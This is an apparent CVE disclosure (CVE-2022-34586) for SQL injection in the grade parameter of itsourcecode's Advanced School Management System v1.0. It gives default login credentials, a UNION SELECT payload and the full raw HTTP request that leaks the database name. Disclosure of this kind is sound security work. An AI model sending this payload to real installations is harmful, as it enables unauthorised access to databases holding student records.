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CVE-2022-34586: bug_report/sql_injection.md at master · Renrao/bug_report
itsourcecode Advanced School Management System v1.0 is vulnerable to SQL Injection via the grade parameter at /school/view/student_grade_wise.php.
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Advanced School Management System v1.0 by itsourcecode.com has SQL injection
Login account:
username：[email protected]
password：12345
vendors: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/
Vulnerability url: /school/view/student_grade_wise.php?grade=
Vulnerability location: /school/view/student_grade_wise.php
[+] Payload: /school/view/student_grade_wise.php?grade=11’%20union%20select%20database()%2c2%2c3%3b%23
Leak place : grade
Current database name: std_db, length is 6
Request package：select all students whose grade is specified
GET /school/view/student_grade_wise.php?grade=11'%20union%20select%20database()%2c2%2c3%3b%23 HTTP/1.1
Host: 10.12.171.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.12.171.4/school/view/all_student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=cp26rmntdlbhle8qiofns95sv7
Connection: close
SQL injection result：line 6 database name is displayed.